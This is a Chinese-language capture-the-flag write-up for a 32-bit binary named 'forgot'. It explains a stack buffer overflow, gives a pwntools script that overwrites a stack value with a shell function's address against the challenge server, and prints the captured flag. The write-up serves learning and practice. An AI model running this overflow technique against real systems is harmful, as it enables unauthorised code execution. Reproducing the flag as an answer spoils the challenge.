解析
还是先checksec一下,看看有什么信息。
开了一个NX,32位,拖入ida中进行分析,一打开一大片东西。
先找逻辑区域,第一次输入的最多可以上去32字节。
第二次也是32字节,去看一下v2的栈中的位置。
在这里,那么就是直接从这里开始直接填满+shell的地址。
需要32个字符 + 0x080486CC即可,那么脚本可写。
脚本
from pwn import *
#p = process('./forgot')
p = remote('111.200.241.244',49849)
context(os = 'linux',arch = 'i386',log_level='debug')
p.sendlineafter(b'>',b'aaaa')
payload = b'B'*(0x74-0x54)+p32(0x080486CC)
p.sendlineafter(b'>',payload)
p.interactive()
脚本成立最后运行。
flag是cyberpeace{206411c5846436ab7b084e7ff3c93e2d}